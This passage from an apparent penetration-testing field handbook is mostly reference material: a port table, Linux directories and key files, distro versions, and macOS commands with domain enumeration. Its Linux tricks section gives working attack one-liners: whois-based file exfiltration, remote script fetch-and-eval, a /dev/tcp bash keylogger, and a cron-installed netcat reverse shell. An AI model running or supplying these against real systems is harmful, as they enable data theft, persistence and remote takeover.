Protocol (GDP)
2003
tcp cfinger
GNU finger
2049
nfs [nfsd]
Network File System (NFS)
141
2102
zephyr-srv
Zephyr distributed messaging
Server
2103
zephyr-clt
Zephyr client
2104
zephyr-hm
Zephyr host manager
2150
ninstall
Network Installation Service
2401
cvspserver
Concurrent Versions System
(CVS) client/server
operations
2430
TCP venus
Venus cache manager for Coda
file system (codacon port)
2430
UDP venus
Venus cache manager for Coda
file system (callback/wbc
interface)
2431
TCP venus-se
Venus Transmission Control
Protocol (TCP) side effects
2431
UDP venus-se
Venus User Datagram Protocol
(UDP) side effects
2432
UDP codasrv
Coda file system server port
2433
TCP codasrv-se
Coda file system TCP side
effects
2433
UDP codasrv-se
Coda file system UDP SFTP
side effect
2600
hpstgmgr [zebrasrv]
Zebra routing[b]
2601
discp-client
[zebra]
discp client; Zebra
integrated shell
2602
discp-server [ripd]
discp server; Routing
Information Protocol daemon
(ripd)
2603
servicemeter
[ripngd]
Service Meter; RIP daemon
for IPv6
2604
nsc-ccs [ospfd]
NSC CCS; Open Shortest Path
First daemon (ospfd)
2605
nsc-posa
NSC POSA; Border Gateway
Protocol daemon (bgpd)
2606
netmon [ospf6d]
Dell Netmon; OSPF for IPv6
daemon (ospf6d)
2809
corbaloc
Common Object Request Broker
Architecture (CORBA) naming
service locator
2988
afbackup
afbackup client-server
backup system
3128
tcp squid
Squid Web proxy cache
3130
icpv2
Internet Cache Protocol
version 2 (v2); used by
Squid proxy caching server
3306
mysql
MySQL database service
3346
trnsprntproxy
Transparent proxy
3455
prsvp
RSVP port
4011
pxe
Pre-execution Environment
(PXE) service
142
4321
rwhois
Remote Whois (rwhois)
service
4444
krb524
Kerberos version 5 (v5) to
version 4 (v4) ticket
translator
4557
tcp fax
FAX transmission service
(old service)
4559
tcp hylafax
HylaFAX client-server
protocol (new service)
5002
rfe
Radio Free Ethernet (RFE)
audio broadcasting system
5232
sgi-dgl
SGI Distributed Graphics
Library
5308
cfengine
Configuration engine
(Cfengine)
5354
noclog
NOCOL network operation
center logging daemon
(noclogd)
5355
hostmon
NOCOL network operation
center host monitoring
5432
postgres
PostgreSQL database
5680
tcp canna
Canna Japanese character
input interface
5999
cvsup [CVSup]
CVSup file transfer and
update tool
6000
TCP x11 [X]
X Window System services
6010
tcp x11-ssh-offset
Secure Shell (SSH) X11
forwarding offset
6667
ircd
Internet Relay Chat daemon
(ircd)
7000
afs3-fileserver
Andrew File System (AFS)
file server
7001
afs3-callback
AFS port for callbacks to
cache manager
7002
afs3-prserver
AFS user and group database
7003
afs3-vlserver
AFS volume location database
7004
afs3-kaserver
AFS Kerberos authentication
service
7005
afs3-volser
AFS volume management server
7006
afs3-errors
AFS error interpretation
service
7007
afs3-bos
AFS basic overseer process
7008
afs3-update
AFS server-to-server updater
7009
afs3-rmtsys
AFS remote cache manager
service
7100
tcp xfs
X Font Server (XFS)
7666
tcp tircproxy
Tircproxy IRC proxy service
8008
http-alt
Hypertext Tranfer Protocol
(HTTP) alternate
143
8080
webcache
World Wide Web (WWW) caching
service
8081
tproxy
Transparent Proxy
9100
tcp jetdirect
[laserjet, hplj]
Hewlett-Packard (HP)
JetDirect network printing
service
9359
mandelspawn
[mandelbrot]
Parallel mandelbrot spawning
program for the X Window
System
9876
sd
Session Director for IP
multicast conferencing
10080
amanda
Advanced Maryland Automatic
Network Disk Archiver
(Amanda) backup services
10081
kamanda
Amanda backup service over
Kerberos
10082
tcp amandaidx
Amanda index server
10083
tcp amidxtape
Amanda tape server
11371
pgpkeyserver
Pretty Good Privacy (PGP) /
GNU Privacy Guard (GPG)
public keyserver
11720
h323callsigalt
H.323 Call Signal Alternate
13720
bprd
Veritas NetBackup Request
Daemon (bprd)
13721
bpdbm
Veritas NetBackup Database
Manager (bpdbm)
13722
bpjava-msvc
Veritas NetBackup Java /
Microsoft Visual C++ (MSVC)
protocol
13724
vnetd
Veritas network utility
13782
bpcd
Veritas NetBackup
13783
vopied
Veritas VOPIE authentication
daemon
20011
isdnlog
Integrated Services Digital
Network (ISDN) logging
system
20012
vboxd
ISDN voice box daemon
(vboxd)
22273
wnn6 [wnn4]
Kana/Kanji conversion system
22289
tcp wnn4_Cn
cWnn Chinese input system
22305
tcp wnn4_Kr
kWnn Korean input system
22321
tcp wnn4_Tw
tWnn Chinese input system
(Taiwan)
24554
binkp
Binkley TCP/IP Fidonet
mailer daemon
26000
quake
Quake (and related) multi-
player game servers
26208
wnn6-ds
Wnn6 Kana/Kanji server
27374
asp
Address Search Protocol
144
33434
traceroute
Traceroute network tracking
tool
60177
tfido
Ifmail FidoNet compatible
mailer service
60179
fido
FidoNet electronic mail and
news network
REFERENCE:
https://hostingreviewbox.com/rhel-tcp-and-udp-ports/
L
L
LINUX_Structure
ALL
INFORMATIONAL
Linux
DIRECTORY
DESCRIPTIONS
/
Primary hierarchy root and root directory of
the entire file system hierarchy.
/bin
Essential command binaries that need to be
available in single user mode; for all users,
e.g., cat, ls, cp.
/boot
Boot loader files, e.g., kernels, initrd.
/dev
Device files, e.g., /dev/null, /dev/disk0,
/dev/sda1, /dev/tty, /dev/random.
/etc
Host-specific system-wide configuration files.
/etc/opt
Configuration files for add-on packages that
are stored in /opt.
/etc/sgml
Configuration files, such as catalogs, for
software that processes SGML.
/etc/X11
Configuration files for the X Window System,
version 11.
/etc/xml
Configuration files, such as catalogs, for
software that processes XML.
/home
Users' home directories, containing saved
files, personal settings, etc.
/lib
Libraries essential for the binaries in /bin
and /sbin.
/lib<qual>
Alternative format essential libraries. Such
directories are optional, but if they exist,
they have some requirements.
/media
145
Mount points for removable media such as CD-
ROMs.
/mnt
Temporarily mounted filesystems.
/opt
Optional application software packages.
/proc
Virtual filesystem providing process and
kernel information as files. In Linux,
corresponds to a procfs mount. Generally
automatically generated and populated by the
system, on the fly.
/root
Home directory for the root user.
/run
Run-time variable data: Information about the
running system since last boot, e.g.,
currently logged-in users and running daemons.
Files under this directory must be either
removed or truncated at the beginning of the
boot process; but this is not necessary on
systems that provide this directory as a
temporary filesystem (tmpfs).
/sbin
Essential system binaries, e.g., fsck, init,
route.
/srv
Site-specific data served by this system, such
as data and scripts for web servers, data
offered by FTP servers, and repositories for
version control systems (appeared in FHS-2.3
in 2004).
/sys
Contains information about devices, drivers,
and some kernel features.
/tmp
Temporary files (see also /var/tmp). Often not
preserved between system reboots, and may be
severely size restricted.
/usr
Secondary hierarchy for read-only user data;
contains the majority of (multi-)user
utilities and applications.
/usr/bin
Non-essential command binaries (not needed in
single user mode); for all users.
/usr/include
Standard include files.
/usr/lib
Libraries for the binaries in /usr/bin and
/usr/sbin.
/usr/lib<qual>
Alternative format libraries, e.g. /usr/lib32
for 32-bit libraries on a 64-bit machine
(optional).
146
/usr/local
Tertiary hierarchy for local data, specific to
this host. Typically has further
subdirectories, e.g., bin, lib, share.
/usr/sbin
Non-essential system binaries, e.g., daemons
for various network-services.
/usr/share
Architecture-independent (shared) data.
/usr/src
Source code, e.g., the kernel source code with
its header files.
/usr/X11R6
X Window System, Version 11, Release 6 (up to
FHS-2.3, optional).
/var
Variable files—files whose content is expected
to continually change during normal operation
of the system—such as logs, spool files, and
temporary e-mail files.
/var/cache
Application cache data. Such data are locally
generated as a result of time-consuming I/O or
calculation. The application must be able to
regenerate or restore the data. The cached
files can be deleted without loss of data.
/var/lib
State information. Persistent data modified by
programs as they run, e.g., databases,
packaging system metadata, etc.
/var/lock
Lock files. Files keeping track of resources
currently in use.
/var/log
Log files. Various logs.
/var/mail
Mailbox files. In some distributions, these
files may be located in the deprecated
/var/spool/mail.
/var/opt
Variable data from add-on packages that are
stored in /opt.
/var/run
Run-time variable data. This directory
contains system information data describing
the system since it was booted.
/var/spool
Spool for tasks waiting to be processed, e.g.,
print queues and outgoing mail queue.
/var/spool/mail
Deprecated location for users' mailboxes.
/var/tmp
Temporary files to be preserved between
reboots.
IMPORTANT FILE LOCATIONS
147
/boot/vmlinuz : The Linux Kernel file.
/dev/had : Device file for the first IDE HDD (Hard Disk Drive)
/dev/hdc : Device file for the IDE Cdrom, commonly
/dev/null : A pseudo device
/etc/bashrc : System defaults and aliases used by bash shell.
/etc/crontab : Cron run commands on a predefined time Interval.
/etc/exports : Information of the file system available on network.
/etc/fstab : Information of Disk Drive and their mount point.
/etc/group : Information of Security Group.
/etc/grub.conf : grub bootloader configuration file.
/etc/init.d : Service startup Script.
/etc/lilo.conf : lilo bootloader configuration file.
/etc/hosts : Information on IP's and corresponding hostnames.
/etc/hosts.allow : Hosts allowed access to services on local host.
/etc/host.deny : Hosts denied access to services on local host.
/etc/inittab : INIT process and interactions at various run level.
/etc/issue : Allows to edit the pre-login message.
/etc/modules.conf : Configuration files for system modules.
/etc/motd : Message Of The Day
/etc/mtab : Currently mounted blocks information.
/etc/passwd : System users with password hash redacted.
/etc/printcap : Printer Information
/etc/profile : Bash shell defaults
/etc/profile.d : Application script, executed after login.
/etc/rc.d : Information about run level specific script.
/etc/rc.d/init.d : Run Level Initialisation Script.
/etc/resolv.conf : Domain Name Servers (DNS) being used by System.
/etc/securetty : Terminal List, where root login is possible.
/etc/shadow : System users with password hash.
/etc/skel : Script that populates new user home directory.
/etc/termcap : ASCII file defines the behavior of Terminal.
/etc/X11 : Configuration files of X-window System.
/usr/bin : Normal user executable commands.
/usr/bin/X11 : Binaries of X windows System.
/usr/include : Contains include files used by ‘c‘ program.
/usr/share : Shared directories of man files, info files, etc.
/usr/lib : Library files required during program compilation.
/usr/sbin : Commands for Super User, for System Administration.
/proc/cpuinfo : CPU Information
/proc/filesystems : File-system information being used currently.
/proc/interrupts : Information about the current interrupts.
/proc/ioports : All Input/Output addresses used by devices.
/proc/meminfo : Memory Usages Information.
/proc/modules : Currently used kernel module.
/proc/mount : Mounted File-system Information.
/proc/stat : Detailed Statistics of the current System.
/proc/swaps : Swap File Information.
/version : Linux Version Information.
/var/log/auth* : Log of authorization login attempts.
/var/log/lastlog : Log of last boot process.
148
/var/log/messages : Log of messages produced by syslog daemon.
/var/log/wtmp : login time and duration of each user on the system.
REFERENCE:
https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard
https://docs.google.com/document/d/1ObQB6hmVvRPCgPTRZM5NMH034VDM-1N-
EWPRz2770K4/edit
https://www.tecmint.com/linux-directory-structure-and-important-files-
paths-explained/
L
L
LINUX_Tricks
ALL
MISC
Linux
EXFIL TRICK
WHOIS Exfil Files
First: Ncat listen & tee to file
ncat -k -l -p 4444 | tee files.b64
Next: Compress, base64, xarg whois to Ncat listener
tar czf - /bin/* | base64 | xargs -I bits timeout 0.03 whois -h
192.168.80.107 -p 4444 bits
Finally: Reconstruct files back
cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv
ONE-LINERS
Linux in-memory exec one-liner
This command will execute a bash script in memory from a remote
server. Works w/ noexec
bash -c CMD="`wget -qO- http://127.0.0.1/script.sh`" && eval "$CMD"
Bash IP/Port Scanner
for i in {1..65535};do (echo </dev/tcp/<TargetIPAddr>/$i)
&>/dev/null && echo -e "\n[+] Open port at:\t$i" || (echo -n
"."&&exit 1);done
Bash one-liner screenshot web services running on an IP range
IP="192.168.0"; for p in '80' '443'; do for i in $(seq 0 5); do
TAKE_SS=$(cutycapt --url=$IP.$i:$p --out=$IP.$i:$p.png); done; done
Add to .bashrc - Log history of commands with timestamp
149
PS1='[`date +"%d-%b-%y %T"`] > 'test "$(ps -ocommand= -p $PPID |
awk '{print $1}')" == 'script' || (script -f $HOME/logs/$(date
+"%d-%b-%y_%H-%M-%S")_shell.log)
One-Lin3r Terminal Aid
Gives you one-liners that aids in penetration testing operations,
privilege escalation and more https://pypi.org/project/one-lin3r/
https://github.com/D4Vinci/One-Lin3r
Bash Keylogger
PROMPT_COMMAND='history -a; tail -n1 ~/.bash_history >
/dev/tcp/127.0.0.1/9000'
One liner to add persistence on a box via cron
echo "* * * * * /bin/nc 192.168.1.10 1234 -e /bin/bash" > cron &&
crontab cron
and on 192.168.1.10
nc -lvp 1234
One-liner to check if the contents of a directory changed:
find . -type f | sort | xargs sha1sum | sha1sum | awk '{print $1}'
Shodan Bash One-Liner to Search
for domain in $(curl <raw target domains file>| unfurl -u format
'%r');do shodan search <INSERT_VULN_HERE> "ssl:$domain" | awk
'{print $1}' | aquatone;done
One-liner for grabbing all of the IP addresses from any ASN:
whois -h whois.radb.net -- '-i origin AS36459' | grep -Eo "([0-
9.]+){4}/[0-9]+" | uniq
Show 10 Largest Open Files
lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB" " " $9 " "
$1 }' | sort -n -u | tail
Generate a sequence of numbers
echo {01..10}
Displays the quantity of connections to port 80 on a per IP basis
clear;while x=0; do clear;date;echo "";echo " [Count] | [IP
ADDR]";echo "-------------------";netstat -np|grep :80|grep -v
LISTEN|awk '{print $5}'|cut -d: -f1|uniq -c; sleep 5;done
Nmap scan every interface that is assigned an IP
ifconfig -a | grep -Po '\b(?!255)(?:\d{1,3}\.){3}(?!255)\d{1,3}\b'
| xargs nmap -A -p0-
150
Rename all items in a directory to lower case
for i in *; do mv "$i" "${i,,}"; done
Find all log files modified 24 hours ago, and zip them
find . -type f -mtime +1 -name "*.log" -exec zip -m {}.zip {} \;
>/dev/null
List IP addresses connected to your server on port 80
netstat -tn 2>/dev/null | grep :80 | awk '{print $5}' | cut -d: -f1
| sort | uniq -c | sort -nr | head
Change the encoding of all files in a directory and subdirectories
find . -type f -name '*.java' -exec sh -c 'iconv -f cp1252 -t utf-
8 "$1" > converted && mv converted "$1"' -- {} \;
Tree-like output in ls
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e
's/^/ /' -e 's/-/|/'
Find all files recursively with specified string in the filename
and output any lines found containing a different string.
find . -name *conf* -exec grep -Hni 'matching_text' {} \; >
matching_text.conf.list
Extract your external IP address using dig
dig +short myip.opendns.com @resolver1.opendns.com
Shred & Erase without shred
$ FN=foobar.txt; dd bs=1k count="`du -sk \"${FN}\" | cut -f1`"
if=/dev/urandom >"${FN}"; rm -f "${FN}"
REFERENCE:
https://medium.com/@int0x33/day-36-hack-your-own-nmap-with-a-bash-one-
liner-758352f9aece
http://www.bashoneliners.com/oneliners/popular/
https://twitter.com/markbaggett/status/1190313375475089409
https://twitter.com/brigzzy/status/1170879904381952001
https://onceupon.github.io/Bash-Oneliner/
https://twitter.com/stokfredrik/status/1185580290108018694
https://twitter.com/notdan/status/1185656759563837442
https://twitter.com/mubix/status/1102780435271176198
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
L
L
LINUX_Versions
ALL
INFORMATIONAL
LINUX
151
All current distros and versions of Linux.
DISTRIBUTION
DATE
CURRENT
LAST
FORK
Alpine Linux
2006
3.11.3
6/13/19
LEAF
Project
ALT Linux
2001
8.2
7/10/13
Mandrake
Linux
antiX
2007
17.4.1
8/24/17
Debian,
MEPIS
ArchBang
2011
Rolling
?
Arch Linux
(UKM
Edition)
Arch Linux
2002
Rolling
Rolling
inspired
from CRUX
BLAG
2002
140k
5/4/11
Fedora
Bodhi Linux
2011
5.0.0
8/22/18
Debian,
Ubuntu
Canaima
2007
6
3/19/18
Debian,
Ubuntu
CentOS
2003
8.0-1905
10/16/19
Red Hat
Enterprise
Linux
(RHEL)
Chakra
2010
Rolling
?
Arch Linux
Chrome OS
2009
75.0.3770
.129
7/9/19
Chromium OS
ClearOS
2000
7.6.0
5/9/19
RHEL,
CentOS
CrunchBang Linux
2008
11
5/6/13
Debian
Damn Small Linux
2003
4.4.10
11/18/08
Debian,
Knoppix
Debian
1993
10.2
11/16/19
Softlanding
Linux
System
(SLS)
Debian Edu
2004
9.0+edu0
6/18/17
Debian
Devuan
2016
2.0.0
9/16/18
Debian
Deepin
2004
15.11
7/5/19
Debian(curr
ent),
Ubuntu,
Morphix(for
merly)
Dragora GNU/Linux-
Libre
2009
3.0-
alpha2
9/28/18
inspired
from
Slackware
dyne:bolic
2005
3.0.0
9/8/11
Debian
Elementary OS
2011
5
10/16/18
Ubuntu,
Debian
ELinOS
1999
6.2
10/1/17
–
Emdebian Grip
2009
3.1
6/15/13
Debian
152
EndeavourOS
2019
Rolling
7/15/19
Arch Linux
Fedora
2003
31
10/29/19
Red Hat
Linux
Freespire
2001
4.8
12/20/18
Ubuntu
Gentoo Linux
2002
Rolling
Rolling
Enoch Linux
Guix
2012
1.0.1
5/2/19
–
gNewSense
2006
4.0
(Ucclia)
5/2/16
Debian
gnuLinEx
2002
LinEx
2013
2/11/13
Debian
Grml
2005
2018.12
12/31/18
Debian
Hyperbola GNU/Linux-
libre
2017
0.3
9/23/19
Arch Linux
Instant WebKiosk
2012
16
4/5/17
Debian
Kali Linux
2013
2019.4
5/21/19
Debian
Knoppix
2000
8.6
8/8/19
Debian
Kodibuntu
2008
?
?
Debian,
Ubuntu
Korora
2005
26
9/16/17
Fedora
LibreCMC
2010
1.4.8
6/30/19
Merged from
LibreWRT
Linspire
2001
7.0 SP1
4/8/18
Ubuntu
Linux Mint
2006
19.3
8/2/19
Debian(LMDE
), Ubuntu
(LTS
versions)
Linux Lite
2012
4.4
11/1/18
Ubuntu
Mageia
2010
7.1
7/1/19
Mandriva
Linux
Mandriva Linux
1998
2011
8/28/11
Red Hat
Linux
Manjaro Linux
2012
Rolling
Rolling
Arch Linux
MEPIS
2003
11.9.90
?
Debian
Musix GNU+Linux
2008
3.0.1
3/13/14
Debian
Netrunner
2009
2018.08
3/11/18
Debian,
Manjaro/Arc
h
NixOS
2003
19.09
5/2/19
–
Novell Open
Enterprise Server
2003
OES 2018
SP1
?
SUSE Linux
Enterprise
Server
OpenELEC
2011
8.0.4
6/4/17
Kodi
openSUSE
2006
Leap 15.1 5/22/19
–
OpenWrt
2007
18.06.4
7/1/19
–
OpenMandriva Lx
2013
4
5/12/19
Mandriva
Linux
Oracle Linux
2006
7.6
11/7/18
Red Hat
Enterprise
Linux
(RHEL)
153
Parabola GNU/Linux-
libre
2009
Rolling
5/28/17
Arch Linux
Pardus
2005
17.5
11/3/18
Gentoo
(2011.2)
Debian
Parsix
2005
8.15
1/25/17
Debian
Parted Magic
?
2019_12_2
4
2019-12-
34
-
PCLinuxOS
2003
2019.06
6/16/19
Mandriva
Linux
Pop! OS
2017
19.1
10/19/19
Ubuntu
Pentoo
2005
2019.1
1/17/19
Gentoo
Linux
Porteus
2010
4
4/29/18
Slackware
Puppy Linux
2003
8
4/11/19
inspired by
Vector
Linux
Qubes OS
2012
4.0.1
1/9/19
Xen and
Fedora
Red Hat Enterprise
Linux
2002
8
5/7/19
Red Hat
Linux,
Fedora
Red Hat Linux
1995
9
3/31/03
–
ROSA
2011
R11
3/15/19
Mandriva
Rocks Cluster
Distribution
2000
7
12/1/15
Red Hat
Linux
Sabayon Linux
2005
19.03
3/31/19
Gentoo
Linux
Salix OS
2009
14.2
8/29/16
Slackware
Scientific Linux
2004
7.6
12/3/18
Red Hat
Linux, Red
Hat
Enterprise
Linux
(RHEL)
Slackware
1993
14.2
6/30/16
Softlanding
Linux
System
(SLS)
Slax
2002
9.9.1
6/17/19
Debian,
Slackware
(until Slax
9)
SliTaz GNU/Linux
2008
Rolling
12/3/17
Ind
Solus
2005
Rolling
8/15/17
–
SolydXK
2013
201902
3/3/19
Debian
SparkyLinux
2012
5.7.1
4/3/19
Debian
Source Mage GNU/Linux
2002
0.62-11
10/22/17
Sorcerer
SteamOS
2013
2.195
7/19/19
Debian
154
SUSE Linux Enterprise
2000
15SP1
8/12/19
Slackware,
Jurix
Tails
2009
3.14.2
6/23/19
Debian
Tiny Core Linux
2009
10.1
1/20/19
inspired
Damn Small
Linux
Tor-ramdisk
2008
20170130
1/30/17
Gentoo
Linux
Embedded,
uClibc
Trisquel GNU/Linux
2005
8
4/18/18
Ubuntu LTS
TurnKey GNU/Linux
2008
15.x
6/28/19
Debian
Ubuntu
2004
19.1
10/17/19
Debian
Univention Corporate
Server
2004
4.4
3/12/19
Debian
Ututo
2000
XS 2012
4/27/12
Ututo XS:
Gentoo
Linux,
Ututo UL:
Ubuntu
VectorLinux
1999
VL 7.2
8/28/17
Slackware
Void Linux
2008
Rolling
10/7/17
part/inspir
ed by
FreeBSD/Net
BSD
Webconverger
2007
35
5/19/16
Debian
Xandros
2001
?
7/26/07
Corel Linux
Zentyal
2005
6
10/30/18
Debian,
Ubuntu
Zenwalk
2004
Rolling
3/9/18
Slackware
Zorin OS
2009
OS 15
6/5/19
Ubuntu
REFERENCE:
https://en.wikipedia.org/wiki/Comparison_of_Linux_distributions
155
M
M
M
MACOS_Commands
ALL
ADMINISTRATION
MacOS
Defaults commands in MacOS.
A-Z COMMANDS
DESCRIPTION
A
afconvert
Audio File Convert
afinfo
Audio File Info
afplay
Audio File Play
airport
Manage Apple AirPort
alias
Create an alias
alloc
List used and free memory
apropos
Search the whatis database for strings
asr
Apple Software Restore
atsutil
Font registration system utility
awk
Find and Replace text within file(s)
B
basename
Convert a full pathname to just a filename
bash
Bourne-Again SHell
bg
Send to background
bind
Set or display readline key and function
bindings
bless
Set volume bootability and startup disk
options
break
Exit from a For, While, Until or Select loop
builtin
Execute a shell builtin
bzip2
Compress or decompress files
C
156
caffeinate
Prevent the system from sleeping
cal
Display a calendar
calendar
Reminder Service
caller
Return the context of a subroutine call
cancel
Cancel print jobs
case
Conditionally perform a command
cat
Concatenate and print (display) the content
of files
cd
Change Directory
chflags
Change a file or folder's flags
chgrp
Change group ownership
chmod
Change access permissions
chown
Change file owner and group
chroot
Run a command with a different root
directory
cksum
Print CRC checksum and byte counts
clear
Clear terminal screen
cmp
Compare two files
comm
Compare two sorted files line by line
command
Run a command (not a function)
complete
Edit a command completion
[word/pattern/list]
continue
Resume the next iteration of a loop
cp
Copy one or more files to another location
cron
Daemon to execute scheduled commands
crontab
Schedule a command to run at a later
date/time
csplit
Split a file into context-determined pieces
csrutil
Configure System Integrity Protection (SIP)
cupsfilter
Convert a file to another format using cups
filters
curl
Transfer data from or to a server
cut
Divide a file into several parts
D
date
Display or change the date & time
dc
Desk Calculator
dd
Convert and copy a file, clone disks
declare
Declare variable & set attributes
defaults
Set preferences, show hidden files
df
Display free disk space
diff
Display the differences between two files
diff3
Show differences among three files
dig
DNS lookup
dirname
Convert a full pathname to just a path
dirs
Display list of remembered directories
diskutil
Disk utilities - Format, Verify, Repair
disown
Unbind a job from the current login session
ditto
Copy files and folders
dot_clean
Remove dot-underscore files
drutil
Interact with CD/DVD burners
157
dscacheutil
Query or flush the Directory Service/DNS
cache
dseditgroup
Edit, create, manipulate, or delete groups
dsenableroot
Enable root access
dsmemberutil
View user and groups rights
dscl
Directory Service command line utility
dtruss
Print process system call time details
du
Estimate file space usage
E
echo
Display text on screen
ed
A line-oriented text editor (edlin)
enable
Enable and disable builtin shell commands
env
List or Set environment variables
eval
Evaluate several commands/arguments
exec
Execute a command
exit
Exit the shell
execsnoop
Snoop new process execution
expand
Convert tabs to spaces
expect
Programmed dialogue with interactive
programs
F
fc
Fix command (history)
fdisk
Partition table manipulator for Darwin
UFS/HFS/DOS
fdesetup
FileVault configuration, list FileVault
users
fg
Send job to foreground
file
Determine file type
find
Search for files that meet a desired
criteria
fmt
Reformat paragraph text
fold
Wrap text to fit a specified width
for
Loop command
fsck
Filesystem consistency check and repair
fs_usage
Filesystem usage (process/pathname)
ftp
Internet file transfer program
function
Define Function Macros
fuser
List processes that have one or more files
open
G
GetFileInfo
Get attributes of HFS+ files
getopt
Parse positional parameters
getopts
Parse positional parameters
goto
Jump to label and continue execution
grep
Search file(s) for lines that match a given
pattern
groups
Print group names a user is in
gzip
Compress or decompress files
H
halt
Stop and restart the operating system
158
hash
Refresh the cached/remembered location of
commands
head
Display the first lines of a file
hdiutil
Manipulate iso disk images
history
Command History
hostname
Print or set system name
I
iconv
Convert the character set of a file
id
Print user and group names/id's
if
Conditionally perform a command
ifconfig
Configure network interface parameters
iostat
Report CPU and i/o statistics
ipconfig
View and control IP configuration state
info
Help info
install
Copy files and set attributes
iosnoop
Snoop I/O events as they occur
J
jobs
List active jobs
join
Join lines on a common field
K
kextfind
List kernel extensions
kextstat
Display status of loaded kernel extensions
(kexts)
kextunload
Terminate driver instances and unload kernel
extensions.
kickstart
Configure Apple Remote Desktop
kill
Kill a process by specifying its PID
killall
Kill processes by name
L
l
List files in long format (ls -l)
last
Indicate last logins of users and ttys
launchctl
Load or unload daemons/agents
ll
List files in long format, showing invisible
files (ls -la)
less
Display output one screen at a time
let
Evaluate expression
lipo
Convert a universal binary
ln
Make links between files (hard links,
symbolic links)
local
Set a local (function) variable
locate
Find files
logname
Print current login name
login
log into the computer
logout
Exit a login shell (bye)
look
Display lines beginning with a given string
lp
Print files
lpr
Print files
lprm
Remove jobs from the print queue
lpstat
Printer status information
ls
List information about file(s)
159
lsregister
Reset the Launch Services database
lsbom
List a bill of materials file
lsof
List open files
M
man
Help manual
mdfind
Spotlight search
mdutil
Manage Spotlight metadata store
mkdir
Create new folder(s)
mkfifo
Make FIFOs (named pipes)
mkfile
Make a file
mktemp
Make a temporary file
more
Display output one screen at a time
mount
Mount a file system
mv
Move or rename files or directories
N
nano
Simple text editor
nc/netcat
Read and write data across networks
net
Manage network resources
netstat
Show network status
networksetup
Network and System Preferences
nice
Set the priority of a command
nohup
Run a command immune to hangups
ntfs.util
NTFS file system utility
nvram
Manipulate firmware variables
O
onintr
Control the action of a shell interrupt
open
Open a file/folder/URL/Application
opensnoop
Snoop file opens as they occur
openssl
OpenSSL command line
osacompile
Compile Applescript
osascript
Execute AppleScript
P
passwd
Modify a user password
paste
Merge lines of files
pbcopy
Copy data to the clipboard
pbpaste
Paste data from the Clipboard
pgrep
List processes by a full or partial name
ping
Test a network connection
pkill
Kill processes by a full or partial name
pkgbuild
Build a macOS Installer component package
pkgutil
Query and manipulate installed packages
plutil
Property list utility
pmset
Power Management settings
popd
Restore the previous value of the current
directory •
pr
Convert text files for printing
printenv
List environment variables
printf
Format and print data
ps
Process status
pushd
Save and then change the current directory
160
pwd
Print Working Directory
Q
quota
Display disk usage and limits
R
rcp
Copy files between machines
read
Read one line from standard input
readonly
Mark a variable or function as read-only
reboot
Stop and restart the system
ReportCrash
Enable/Disable crash reporting
return
Exit a function
rev
Reverse lines of a file
rm
Remove files
rmdir
Remove folder(s)
rpm
Remote Package Manager
rsync
Remote file copy - Sync file tree
S
say
Convert text to audible speech
screen
Multiplex terminal, run remote shells via
ssh
screencapture
Capture screen image to file or disk
scselect
Switch between network locations
scutil
Manage system configuration parameters
sdiff
Merge two files interactively
security
Administer Keychains, keys, certificates and
the Security framework
sed
Stream Editor
select
Generate a list of items
serverinfo
Server information
set
Set a shell variable = value
setfile
Set attributes of HFS+ files
sharing
Create share points for afp, ftp and smb
services
shasum
Print or Check SHA Checksums
shift
Shift positional parameters
shopt
Set shell options
shutdown
Shutdown or restart macOS
sips
Scriptable image processing system
sleep
Delay for a specified time
softwareupdate
System software update tool
sort
Sort text files
source
Execute commands from a file
spctl
Security assessment policy/Gatekeeper
split
Split a file into fixed-size pieces
sqlite3
SQL database (download history)
srm
Securely remove files or directories
stat
Display the status of a file
stop
Stop a job or process
su
Substitute user identity
sudo
Execute a command as another user
sum
Print a checksum for a file
161
suspend
Suspend execution of this shell
sw_vers
Print macOS operating system version
sysctl
Get or set kernel state
system_profiler
Report system configuration
systemsetup
Computer and display system settings
T
tail
Output the last part of files
tar
Tape ARchiver
tccutil
Manage the privacy database
tcpdump
Dump traffic on a network
tee
Redirect output to multiple files
test
Condition evaluation
textutil
Manipulate text files in various formats
(Doc,html,rtf)
time
Measure Program Resource Use
times
Print shell & shell process times
tmutil
Time Machine utility
top
Display process information
touch
Change file timestamps
tput
Set terminal-dependent capabilities, color,
position
tr
Translate, squeeze, and/or delete characters
trap
Execute a command when the shell receives a
signal
traceroute
Trace Route to Host
trimforce
Enable TRIM commands on third-party drives
tty
Print filename of terminal on stdin
type
Describe a command
U
ufs.util
Mount/unmount UFS file system
ulimit
limit the use of system-wide resources
umask
Users file creation mask
umount
Unmount a device
unalias
Remove an alias
uname
Print system information
unexpand
Convert spaces to tabs
uniq
Uniquify files
units
Convert units from one scale to another
unset
Remove variable or function names
until
Loop command
uptime
Show how long system has been running
users
Print login names of users currently logged
in
until
Execute commands (until error)
uuencode
Encode a binary file
uudecode
Decode a file created by uuencode
uuidgen
Generate a Unique ID (UUID/GUID)
uucp
Unix to Unix copy
V
vi
Text Editor
162
W
w
Show who is logged on & what they are doing
wait
Wait for a process to complete
wall
Write a message to users
wc
Print byte, word, and line counts
whatis
Search the whatis database for complete
words
whereis
Locate a program
which
Locate a program file in the user's path
while
Loop command •
who
Print all usernames currently logged on
whoami
Print the current user id and name (`id -
un')
write
Send a message to another user
X
xargs
Execute utility - passing arguments
xattr
Display and manipulate extended attributes
xcode-select --
install
Install the command line developer tools
Y
yes
Print a string until interrupted
Z
zip
Package and compress (archive) files.
!!
Run the last command again
MacOS DOMAIN ENUMERATION COMMANDS
Domain: TEST.local
User Enumeration:
dscl . ls /Users
dscl . read /Users/[username]
dscl "/Active Directory/TEST/All Domains" ls /Users
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
dscacheutil -q user
LDAP:
ldapsearch -H ldap://test.local -b DC=test,DC=local
"(objectclass=user)"
ldapsearch -H ldap://test.local -b DC=test,DC=local
"(&(objectclass=user)(name=[username]))"
Computer Enumeration:
dscl "/Active Directory/TEST/All Domains" ls /Computers
dscl "/Active Directory/TEST/All Domains" read
"/Computers/[compname]$"
LDAP:
ldapsearch -H ldap://test.local -b DC=test,DC=local
"(objectclass=computer)"
163
ldapsearch -H ldap://test.local -b DC=test,DC=local
"(&(objectclass=computer)(name=[computername]))"
Group Enumeration:
dscl . ls /Groups
dscl . read "/Groups/[groupname]"
